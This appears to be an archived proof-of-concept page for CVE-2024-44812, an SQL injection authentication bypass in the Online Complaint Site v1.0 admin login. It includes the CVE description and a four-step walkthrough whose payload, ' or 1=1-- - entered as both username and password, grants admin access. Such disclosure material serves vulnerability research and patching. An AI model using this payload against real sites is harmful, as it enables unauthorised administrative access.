CVE-2024-44812 PoC — Online Complaint Site 安全漏洞

Source

https://github.com/b1u3st0rm/CVE-2024-44812-PoC

Associated Vulnerability

Title:Online Complaint Site 安全漏洞 (CVE-2024-44812)
Description:Online Complaint Site是janobe个人开发者的一个在线投诉网站。 Online Complaint Site v.1.0版本存在安全漏洞，该漏洞源于容易受到SQL注入攻击，允许远程攻击者通过/admin.index.php组件中的用户名和密码参数提升权限。

Description

Proof of Concept Exploit for CVE-2024-44812 - SQL Injection Authentication Bypass vulnerability in Online Complaint Site v1.0

Readme

Proof of Concept Exploit for CVE-2024-44812 - SQL Injection Authentication Bypass vulnerability in Online Complaint Site v1.0

```
# Proof of Concept:

Step 1 – Visit http://localhost/complaintsite/
Step 2 – Click on "admin" button and redirect on login page.
Step 3 – Enter username as ' or 1=1-- - and password as ' or 1=1-- -
Step 4 – Click Login and now you will be logged in as admin.
```

File Snapshot


 [4.0K]  /data/pocs/443e3976ab89f79f2584a97e09440decd7b771f4
├── [ 267]  poc.txt
└── [ 402]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!